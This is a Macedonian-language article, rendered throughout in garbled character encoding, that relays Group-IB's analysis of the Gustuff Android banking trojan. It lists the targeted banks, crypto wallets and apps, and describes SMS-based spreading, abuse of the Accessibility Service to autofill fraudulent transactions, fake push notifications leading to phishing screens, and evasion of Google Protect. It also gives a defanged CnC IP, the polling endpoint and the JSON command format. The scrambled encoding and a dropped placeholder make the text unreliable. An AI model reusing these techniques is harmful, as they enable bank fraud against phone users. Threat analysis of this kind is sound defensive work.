Π‘Π°ΠΌΠΎ ΠΏΡΠ΅Π΄ Π½Π΅ΠΊΠΎΡ Π΄Π΅Π½ Group-IB
Π‘ΠΏΠ΅ΡΠΈΡΠ°Π»ΠΈΡΡ Π·Π° Π°Π½Π°Π»ΠΈΠ·Π° Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΠΊΠΎΠ΄ Π²ΠΎ Group-IB ΠΠ²Π°Π½ ΠΠΈΡΠ°ΡΠ΅Π² Π²ΠΎ ΡΠ²ΠΎΠ΅ΡΠΎ ΠΈΡΡΡΠ°ΠΆΡΠ²Π°ΡΠ΅ ΡΠΎΡ Π΄Π΅ΡΠ°Π»Π½ΠΎ Π·Π±ΠΎΡΡΠ²Π° Π·Π° ΡΠΎΠ° ΠΊΠ°ΠΊΠΎ ΡΡΠ½ΠΊΡΠΈΠΎΠ½ΠΈΡΠ° ΠΠ°ΡΡΡΡ ΠΈ ΠΊΠΎΠΈ ΡΠ΅ Π½Π΅Π³ΠΎΠ²ΠΈΡΠ΅ ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ.
ΠΠ° ΠΊΠΎΠ³ΠΎ Π»ΠΎΠ²ΠΈ ΠΠ°ΡΡΡΡ?
Gustuff ΠΏΡΠΈΠΏΠ°ΡΠ° Π½Π° Π½ΠΎΠ²Π°ΡΠ° Π³Π΅Π½Π΅ΡΠ°ΡΠΈΡΠ° Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π΅Π½ ΡΠΎΡΡΠ²Π΅Ρ ΡΠΎ ΡΠ΅Π»ΠΎΡΠ½ΠΎ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΈΡΠ°Π½ΠΈ ΡΡΠ½ΠΊΡΠΈΠΈ. Π‘ΠΏΠΎΡΠ΅Π΄ ΠΈΠ½Π²Π΅ΡΡΠΈΡΠΎΡΠΎΡ, ΡΡΠΎΡΠ°Π½Π΅ΡΠΎΡ ΡΡΠ°Π½Π° Π½ΠΎΠ²Π° ΠΈ ΠΏΠΎΠ΄ΠΎΠ±ΡΠ΅Π½Π° Π²Π΅ΡΠ·ΠΈΡΠ° Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π½ΠΈΠΎΡ ΡΠΎΡΡΠ²Π΅Ρ AndyBot, ΠΊΠΎΡ ΠΎΠ΄ Π½ΠΎΠ΅ΠΌΠ²ΡΠΈ 2017 Π³ΠΎΠ΄ΠΈΠ½Π° Π½Π°ΠΏΠ°ΡΠ° ΡΠ΅Π»Π΅ΡΠΎΠ½ΠΈ ΡΠΎ Android ΠΈ ΠΊΡΠ°Π΄Π΅ ΠΏΠ°ΡΠΈ ΠΏΡΠ΅ΠΊΡ ΡΠΈΡΠΈΠ½Π³ Π²Π΅Π±-ΡΠΎΡΠΌΠΈ ΠΊΠΎΠΈ ΡΠ΅ ΠΌΠ°ΡΠΊΠΈΡΠ°Π½ΠΈ ΠΊΠ°ΠΊΠΎ ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π½Π° ΠΏΠΎΠ·Π½Π°ΡΠΈ ΠΌΠ΅ΡΡΠ½Π°ΡΠΎΠ΄Π½ΠΈ Π±Π°Π½ΠΊΠΈ ΠΈ ΠΏΠ»Π°ΡΠ΅ΠΆΠ½ΠΈ ΡΠΈΡΡΠ΅ΠΌΠΈ. Bestoffer ΠΎΠ±ΡΠ°Π²ΠΈ Π΄Π΅ΠΊΠ° ΡΠ΅Π½Π°ΡΠ° Π·Π° ΠΈΠ·Π½Π°ΡΠΌΡΠ²Π°ΡΠ΅ Π½Π° Gustuff Bot Π±ΠΈΠ»Π° 800 Π΄ΠΎΠ»Π°ΡΠΈ ΠΌΠ΅ΡΠ΅ΡΠ½ΠΎ.
ΠΠ½Π°Π»ΠΈΠ·Π°ΡΠ° Π½Π° ΠΏΡΠΈΠΌΠ΅ΡΠΎΠΊΠΎΡ ΠΠ°ΡΡΡΡ ΠΏΠΎΠΊΠ°ΠΆΠ° Π΄Π΅ΠΊΠ° ΡΡΠΎΡΠ°Π½Π΅ΡΠΎΡ ΠΏΠΎΡΠ΅Π½ΡΠΈΡΠ°Π»Π½ΠΎ Π³ΠΈ ΡΠ°ΡΠ³Π΅ΡΠΈΡΠ° ΠΊΠ»ΠΈΠ΅Π½ΡΠΈΡΠ΅ ΠΊΠΎΠΈ ΠΊΠΎΡΠΈΡΡΠ°Ρ ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π½Π° Π½Π°ΡΠ³ΠΎΠ»Π΅ΠΌΠΈΡΠ΅ Π±Π°Π½ΠΊΠΈ, ΠΊΠ°ΠΊΠΎ ΡΡΠΎ ΡΠ΅ Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ΠΊΠ°ΠΊΠΎ ΠΈ Bitcoin ΠΡΠΈΠΏΡΠΎΠΏΠ°ΡΠΈΡΠ½ΠΈΡΠΈ Π·Π° ΠΏΠ°ΡΠΈΡΠ½ΠΈΠΊ. BitPay, Cryptopay, Coinbase ΠΈΡΠ½.
ΠΡΠ²ΠΈΡΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π΄Π΅Π½ ΠΊΠ°ΠΊΠΎ ΠΊΠ»Π°ΡΠΈΡΠ΅Π½ Π±Π°Π½ΠΊΠ°ΡΡΠΊΠΈ ΡΡΠΎΡΠ°Π½Π΅Ρ, Π²ΠΎ Π½Π΅Π³ΠΎΠ²Π°ΡΠ° ΡΠ΅Π³Π°ΡΠ½Π° Π²Π΅ΡΠ·ΠΈΡΠ° Gustuff Π·Π½Π°ΡΠΈΡΠ΅Π»Π½ΠΎ ΡΠ° ΠΏΡΠΎΡΠΈΡΠΈ Π»ΠΈΡΡΠ°ΡΠ° Π½Π° ΠΏΠΎΡΠ΅Π½ΡΠΈΡΠ°Π»Π½ΠΈ ΡΠ΅Π»ΠΈ Π·Π° Π½Π°ΠΏΠ°Π΄. ΠΠΎΠΊΡΠ°Ρ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈΡΠ΅ Π·Π° Android Π·Π° Π±Π°Π½ΠΊΠΈ, ΡΠΈΠ½ΡΠ΅Ρ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ ΠΈ ΠΊΡΠΈΠΏΡΠΎ ΡΡΠ»ΡΠ³ΠΈ, Gustuff Π΅ Π½Π°ΠΌΠ΅Π½Π΅Ρ Π·Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈ Π½Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π½Π° ΠΏΠ°Π·Π°ΡΠΎΡ, ΠΎΠ½Π»Π°ΡΠ½ ΠΏΡΠΎΠ΄Π°Π²Π½ΠΈΡΠΈ, ΠΏΠ»Π°ΡΠ΅ΠΆΠ½ΠΈ ΡΠΈΡΡΠ΅ΠΌΠΈ ΠΈ ΠΈΠ½ΡΡΠ°Π½Ρ-ΠΌΠ΅ΡΠΈΠ½ΡΠ΅ΡΠΈ. ΠΡΠΎΠ±Π΅Π½ΠΎ, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ΠΈ Π΄ΡΡΠ³ΠΈ.
ΠΠ»Π΅Π·Π½Π° ΡΠΎΡΠΊΠ°: ΠΏΡΠ΅ΡΠΌΠ΅ΡΠΊΠ° Π·Π° ΠΌΠ°ΡΠΎΠ²Π½Π° ΠΈΠ½ΡΠ΅ΠΊΡΠΈΡΠ°
ΠΡΡΡΡΡ ΡΠ΅ ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΠ·ΠΈΡΠ° ΡΠΎ βΠΊΠ»Π°ΡΠΈΡΠ½ΠΈΠΎΡβ Π²Π΅ΠΊΡΠΎΡ Π½Π° ΠΏΠ΅Π½Π΅ΡΡΠ°ΡΠΈΡΠ° Π²ΠΎ ΠΏΠ°ΠΌΠ΅ΡΠ½ΠΈΡΠ΅ ΡΠ΅Π»Π΅ΡΠΎΠ½ΠΈ ΡΠΎ Android ΠΏΡΠ΅ΠΊΡ Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ ΡΠΎ Π»ΠΈΠ½ΠΊΠΎΠ²ΠΈ Π΄ΠΎ ΠΠΠ. ΠΠΎΠ³Π° ΡΡΠ΅Π΄ ΡΠΎ Android Π΅ Π·Π°ΡΠ°Π·Π΅Π½ ΡΠΎ ΡΡΠΎΡΠ°Π½Π΅Ρ ΠΏΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π° Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠΎΡ, ΠΠ°ΡΡΡΡ ΠΌΠΎΠΆΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»Π½ΠΎ Π΄Π° ΡΠ΅ ΡΠΈΡΠΈ ΠΏΡΠ΅ΠΊΡ Π±Π°Π·Π°ΡΠ° Π½Π° ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ Π½Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΠ΅Π»Π΅ΡΠΎΠ½ ΠΈΠ»ΠΈ ΠΏΡΠ΅ΠΊΡ Π±Π°Π·Π°ΡΠ° Π½Π° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠΎΡ. Π€ΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»Π½ΠΎΡΡΠ° Π½Π° ΠΠ°ΡΡΡΡ Π΅ Π΄ΠΈΠ·Π°ΡΠ½ΠΈΡΠ°Π½Π° Π·Π° ΠΌΠ°ΡΠΎΠ²Π½Π° ΠΈΠ½ΡΠ΅ΠΊΡΠΈΡΠ° ΠΈ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»Π½Π° ΠΊΠ°ΠΏΠΈΡΠ°Π»ΠΈΠ·Π°ΡΠΈΡΠ° Π½Π° Π±ΠΈΠ·Π½ΠΈΡΠΎΡ Π½Π° Π½Π΅Π³ΠΎΠ²ΠΈΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠΈ - ΡΠΎΡ ΠΈΠΌΠ° ΡΠ½ΠΈΠΊΠ°ΡΠ½Π° ΡΡΠ½ΠΊΡΠΈΡΠ° Π·Π° βΠ°Π²ΡΠΎΠΌΠ°ΡΡΠΊΠΎ ΠΏΠΎΠ»Π½Π΅ΡΠ΅β Π²ΠΎ Π»Π΅Π³ΠΈΡΠΈΠΌΠ½ΠΈ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π·Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΎ Π±Π°Π½ΠΊΠ°ΡΡΡΠ²ΠΎ ΠΈ ΠΊΡΠΈΠΏΡΠΎΠΏΠ°ΡΠΈΡΠ½ΠΈΡΠΈ, ΡΡΠΎ Π²ΠΈ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π° Π΄Π° ΡΠ° Π·Π°Π±ΡΠ·Π°ΡΠ΅ ΠΈ ΡΠ°Π·ΠΌΠ΅ΡΠΈΡΠ΅ ΠΊΡΠ°ΠΆΠ±Π°ΡΠ° Π½Π° ΠΏΠ°ΡΠΈ.
Π‘ΡΡΠ΄ΠΈΡΠ°ΡΠ° Π·Π° ΡΡΠΎΡΠ°Π½Π΅ΡΠΎΡ ΠΏΠΎΠΊΠ°ΠΆΠ° Π΄Π΅ΠΊΠ° ΡΡΠ½ΠΊΡΠΈΡΠ°ΡΠ° Π·Π° Π°Π²ΡΠΎΠΌΠ°ΡΡΠΊΠΎ ΠΏΠΎΠΏΠΎΠ»Π½ΡΠ²Π°ΡΠ΅ Π΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ°Π½Π° Π²ΠΎ Π½Π΅Π³ΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ ΡΠ° ΡΡΠ»ΡΠ³Π°ΡΠ° Π·Π° ΠΏΡΠΈΡΡΠ°ΠΏΠ½ΠΎΡΡ, ΡΡΠ»ΡΠ³Π° Π·Π° Π»ΠΈΡΠ° ΡΠΎ ΠΏΠΎΡΠ΅Π±Π½ΠΈ ΠΏΠΎΡΡΠ΅Π±ΠΈ. Gustuff Π½Π΅ Π΅ ΠΏΡΠ²ΠΈΠΎΡ ΡΡΠΎΡΠ°Π½Π΅Ρ ΠΊΠΎΡ ΡΡΠΏΠ΅ΡΠ½ΠΎ ΡΠ° Π·Π°ΠΎΠ±ΠΈΠΊΠΎΠ»ΡΠ²Π° Π·Π°ΡΡΠΈΡΠ°ΡΠ° ΠΎΠ΄ ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ° ΡΠΎ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ΅ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠΎΡ Π½Π° Π΄ΡΡΠ³ΠΈΡΠ΅ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ ΡΡΠΎ ΡΠ° ΠΊΠΎΡΠΈΡΡΠ°Ρ ΠΎΠ²Π°Π° ΡΡΠ»ΡΠ³Π° Π½Π° Android. Π‘Π΅ΠΏΠ°ΠΊ, ΡΠΏΠΎΡΡΠ΅Π±Π°ΡΠ° Π½Π° Π£ΡΠ»ΡΠ³Π°ΡΠ° Π·Π° ΠΏΡΠΈΡΡΠ°ΠΏΠ½ΠΎΡΡ Π²ΠΎ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°ΡΠΈΡΠ° ΡΠΎ ΠΏΠΎΠ»Π½Π΅ΡΠ΅ Π°Π²ΡΠΎΠΌΠΎΠ±ΠΈΠ» ΡΓ¨ ΡΡΡΠ΅ Π΅ Π΄ΠΎΡΡΠ° ΡΠ΅ΡΠΊΠ°.
ΠΠΎ ΠΏΡΠ΅Π·Π΅ΠΌΠ°ΡΠ΅ΡΠΎ Π½Π° ΡΠ΅Π»Π΅ΡΠΎΠ½ΠΎΡ Π½Π° ΠΆΡΡΠ²Π°ΡΠ°, ΠΠ°ΡΡΡΡ, ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ ΡΠ° ΡΡΠ»ΡΠ³Π°ΡΠ° Π·Π° ΠΏΡΠΈΡΡΠ°ΠΏΠ½ΠΎΡΡ, ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΊΠΎΠΌΡΠ½ΠΈΡΠΈΡΠ° ΡΠΎ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠΎΡ Π½Π° Π΄ΡΡΠ³ΠΈ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ (Π±Π°Π½ΠΊΠ°ΡΡΡΠ²ΠΎ, ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠΈ, ΠΊΠ°ΠΊΠΎ ΠΈ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π·Π° ΠΎΠ½Π»Π°ΡΠ½ ΠΊΡΠΏΡΠ²Π°ΡΠ΅, ΠΏΠΎΡΠ°ΠΊΠΈ ΠΈΡΠ½.), ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΡΠΈ Π³ΠΈ Π΄Π΅ΡΡΡΠ²Π°ΡΠ° Π½Π΅ΠΎΠΏΡ ΠΎΠ΄Π½ΠΈ Π·Π° Π½Π°ΠΏΠ°ΡΠ°ΡΠΈΡΠ΅ . ΠΠ° ΠΏΡΠΈΠΌΠ΅Ρ, ΠΏΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π° Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠΎΡ, ΡΡΠΎΡΠ°Π½Π΅Ρ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡΠΈΡΠΈΡΠ½Π΅ ΠΊΠΎΠΏΡΠΈΡΠ° ΠΈ Π΄Π° Π³ΠΈ ΠΌΠ΅Π½ΡΠ²Π° Π²ΡΠ΅Π΄Π½ΠΎΡΡΠΈΡΠ΅ Π½Π° ΡΠ΅ΠΊΡΡΡΠ°Π»Π½ΠΈΡΠ΅ ΠΏΠΎΠ»ΠΈΡΠ° Π²ΠΎ Π±Π°Π½ΠΊΠ°ΡΡΠΊΠΈΡΠ΅ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ. ΠΠΎΡΠΈΡΡΠ΅ΡΠ΅ΡΠΎ Π½Π° ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠΎΡ Π·Π° Π£ΡΠ»ΡΠ³Π° Π·Π° ΠΏΡΠΈΡΡΠ°ΠΏΠ½ΠΎΡΡ ΠΌΡ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π° Π½Π° ΡΡΠΎΡΠ°Π½Π΅ΡΠΎΡ Π΄Π° Π³ΠΈ Π·Π°ΠΎΠ±ΠΈΠΊΠΎΠ»ΠΈ Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈΡΠ΅ ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠΈ ΡΡΠΎ Π³ΠΈ ΠΊΠΎΡΠΈΡΡΠ°Ρ Π±Π°Π½ΠΊΠΈΡΠ΅ Π·Π° Π΄Π° ΡΠ΅ ΡΠΏΡΠΎΡΠΈΠ²ΡΡΠ°Π²Π°Ρ Π½Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈΡΠ΅ ΡΡΠΎΡΠ°Π½ΡΠΈ ΠΎΠ΄ ΠΏΡΠ΅ΡΡ ΠΎΠ΄Π½Π°ΡΠ° Π³Π΅Π½Π΅ΡΠ°ΡΠΈΡΠ°, ΠΊΠ°ΠΊΠΎ ΠΈ ΠΏΡΠΎΠΌΠ΅Π½ΠΈΡΠ΅ Π²ΠΎ Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½Π°ΡΠ° ΠΏΠΎΠ»ΠΈΡΠΈΠΊΠ° ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ°Π½Π° ΠΎΠ΄ Google Π²ΠΎ Π½ΠΎΠ²ΠΈΡΠ΅ Π²Π΅ΡΠ·ΠΈΠΈ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Android. Π’Π°ΠΊΠ°, ΠΠ°ΡΡΡΡ βΠ·Π½Π°Π΅ ΠΊΠ°ΠΊΠΎβ Π΄Π° ΡΠ° ΠΎΠ½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠΈ Π·Π°ΡΡΠΈΡΠ°ΡΠ° Π½Π° Google Protect: ΡΠΏΠΎΡΠ΅Π΄ Π°Π²ΡΠΎΡΠΎΡ, ΠΎΠ²Π°Π° ΡΡΠ½ΠΊΡΠΈΡΠ° ΡΠ°Π±ΠΎΡΠΈ Π²ΠΎ 70% ΠΎΠ΄ ΡΠ»ΡΡΠ°ΠΈΡΠ΅.
Gustuff ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡΠΈΠΊΠ°ΠΆΡΠ²Π° ΠΈ Π»Π°ΠΆΠ½ΠΈ PUSH ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ° ΡΠΎ ΠΈΠΊΠΎΠ½ΠΈ Π½Π° Π»Π΅Π³ΠΈΡΠΈΠΌΠ½ΠΈ ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ. ΠΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ ΠΊΠ»ΠΈΠΊΠ½ΡΠ²Π° Π½Π° ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ΅ΡΠΎ PUSH ΠΈ Π³Π»Π΅Π΄Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³ ΠΏΡΠ΅Π·Π΅ΠΌΠ΅Π½ ΠΎΠ΄ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ, ΠΊΠ°Π΄Π΅ ΡΡΠΎ Π³ΠΈ Π²Π½Π΅ΡΡΠ²Π° Π±Π°ΡΠ°Π½ΠΈΡΠ΅ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ ΠΎΠ΄ Π±Π°Π½ΠΊΠ°ΡΡΠΊΠ° ΠΊΠ°ΡΡΠΈΡΠΊΠ° ΠΈΠ»ΠΈ ΠΊΡΠΈΠΏΡΠΎΠΏΠ°ΡΠΈΡΠ½ΠΈΠΊ. ΠΠΎ Π΄ΡΡΠ³ΠΎ ΡΡΠ΅Π½Π°ΡΠΈΠΎ Π½Π° Gustuff, ΡΠ΅ ΠΎΡΠ²ΠΎΡΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π²ΠΎ ΠΈΠΌΠ΅ Π½Π° ΠΊΠΎΡΠ° Π±Π΅ΡΠ΅ ΠΏΡΠΈΠΊΠ°ΠΆΠ°Π½ΠΎ ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ΅ΡΠΎ PUSH. ΠΠΎ ΠΎΠ²ΠΎΡ ΡΠ»ΡΡΠ°Ρ, ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π½ΠΈΠΎΡ ΡΠΎΡΡΠ²Π΅Ρ, ΠΏΠΎ Π½Π°ΡΠ΅Π΄Π±Π° ΠΎΠ΄ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ ΠΏΡΠ΅ΠΊΡ Π£ΡΠ»ΡΠ³Π°ΡΠ° Π·Π° ΠΏΡΠΈΡΡΠ°ΠΏΠ½ΠΎΡΡ, ΠΌΠΎΠΆΠ΅ Π΄Π° Π³ΠΈ ΠΏΠΎΠΏΠΎΠ»Π½ΠΈ ΠΏΠΎΠ»ΠΈΡΠ°ΡΠ° Π·Π° ΡΠΎΡΠΌΡΠ»Π°ΡΠΈ Π½Π° Π±Π°Π½ΠΊΠ°ΡΡΠΊΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ° Π·Π° Π»Π°ΠΆΠ½Π° ΡΡΠ°Π½ΡΠ°ΠΊΡΠΈΡΠ°.
Π€ΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»Π½ΠΎΡΡΠ° Π½Π° Gustuff Π²ΠΊΠ»ΡΡΡΠ²Π° ΠΈ ΠΈΡΠΏΡΠ°ΡΠ°ΡΠ΅ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Π·Π° ΠΈΠ½ΡΠΈΡΠΈΡΠ°Π½ ΡΡΠ΅Π΄ Π΄ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ, ΠΌΠΎΠΆΠ½ΠΎΡΡ Π·Π° ΡΠΈΡΠ°ΡΠ΅/ΠΈΡΠΏΡΠ°ΡΠ°ΡΠ΅ Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ, ΠΈΡΠΏΡΠ°ΡΠ°ΡΠ΅ USSD Π±Π°ΡΠ°ΡΠ°, ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅ Π½Π° SOCKS5 Proxy, ΡΠ»Π΅Π΄Π΅ΡΠ΅ Π²ΡΡΠΊΠ°, ΠΈΡΠΏΡΠ°ΡΠ°ΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ (Π²ΠΊΠ»ΡΡΡΠ²Π°ΡΡΠΈ ΡΠΎΡΠΎ ΡΠΊΠ΅Π½ΠΈΡΠ°ΡΠ΅ Π½Π° Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠΈ, ΡΠ»ΠΈΠΊΠΈ ΠΎΠ΄ Π΅ΠΊΡΠ°Π½ΠΎΡ, ΡΠΎΡΠΎΠ³ΡΠ°ΡΠΈΠΈ) Π΄ΠΎ ΡΠ΅ΡΠ²Π΅Ρ , ΡΠ΅ΡΠ΅ΡΠΈΡΠ°ΡΡΠ΅ Π³ΠΎ ΡΡΠ΅Π΄ΠΎΡ Π½Π° ΡΠ°Π±ΡΠΈΡΠΊΠΈ ΠΏΠΎΡΡΠ°Π²ΠΊΠΈ.
ΠΠ½Π°Π»ΠΈΠ·Π° Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π΅Π½ ΡΠΎΡΡΠ²Π΅Ρ
ΠΡΠ΅Π΄ Π΄Π° ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°ΡΠ΅ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ½Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°, ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Android Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ ΠΌΡ ΠΏΠΎΠΊΠ°ΠΆΡΠ²Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ ΠΊΠΎΡ ΡΠΎΠ΄ΡΠΆΠΈ Π»ΠΈΡΡΠ° Π½Π° ΠΏΡΠ°Π²Π° ΡΡΠΎ Π³ΠΈ Π±Π°ΡΠ° ΠΠ°ΡΡΡΡ:
ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΡΠ΅ ΡΠ΅ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ° ΡΠ°ΠΌΠΎ ΠΎΡΠΊΠ°ΠΊΠΎ ΡΠ΅ Π΄ΠΎΠ±ΠΈΠ΅ ΡΠΎΠ³Π»Π°ΡΠ½ΠΎΡΡ ΠΎΠ΄ ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ. ΠΠΎ ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ°, ΡΡΠΎΡΠ°Π½Π΅ΡΠΎΡ ΡΠ΅ ΠΌΡ ΠΏΠΎΠΊΠ°ΠΆΠ΅ Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ:
ΠΠΎΡΠ»Π΅ ΡΠΎΠ°, ΡΠ΅ ΡΠ° ΠΎΡΡΡΡΠ°Π½ΠΈ ΠΈΠΊΠΎΠ½Π°ΡΠ°.
Gustuff Π΅ ΡΠΏΠ°ΠΊΡΠ²Π°Π½, ΡΠΏΠΎΡΠ΅Π΄ Π°Π²ΡΠΎΡΠΎΡ, ΠΎΠ΄ ΠΏΠ°ΠΊΡΠ²Π°Ρ ΠΎΠ΄ FTT. ΠΠΎ ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅ΡΠΎ, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΏΠ΅ΡΠΈΠΎΠ΄ΠΈΡΠ½ΠΎ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈΡΠ° ΡΠΎ CnC ΡΠ΅ΡΠ²Π΅ΡΠΎΡ Π·Π° Π΄Π° ΠΏΡΠΈΠΌΠ° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ. ΠΠ΅ΠΊΠΎΠ»ΠΊΡ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ ΡΡΠΎ Π³ΠΈ ΠΈΡΠΏΠΈΡΠ°Π²ΠΌΠ΅ ΠΊΠΎΡΠΈΡΡΠ΅Π° IP Π°Π΄ΡΠ΅ΡΠ° ΠΊΠ°ΠΊΠΎ ΠΊΠΎΠ½ΡΡΠΎΠ»Π΅Π½ ΡΠ΅ΡΠ²Π΅Ρ 88.99.171[.]105 (Π²ΠΎ Π½Π°ΡΠ°ΠΌΠΎΡΠ½ΠΈΠΎΡ ΡΠ΅ΠΊΡΡ ΡΠ΅ Π³ΠΎ ΠΎΠ·Π½Π°ΡΡΠ²Π°ΠΌΠ΅ ΠΊΠ°ΠΊΠΎ ).
ΠΠΎ ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅ΡΠΎ, ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ°ΡΠ° Π·Π°ΠΏΠΎΡΠ½ΡΠ²Π° Π΄Π° ΠΈΡΠΏΡΠ°ΡΠ° ΠΏΠΎΡΠ°ΠΊΠΈ Π΄ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ http://<%CnC%>/api/v1/get.php.
ΠΠ΄Π³ΠΎΠ²ΠΎΡΠΎΡ ΡΠ΅ ΠΎΡΠ΅ΠΊΡΠ²Π° Π΄Π° Π±ΠΈΠ΄Π΅ JSON Π²ΠΎ ΡΠ»Π΅Π΄Π½ΠΈΠΎΠ² ΡΠΎΡΠΌΠ°Ρ:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
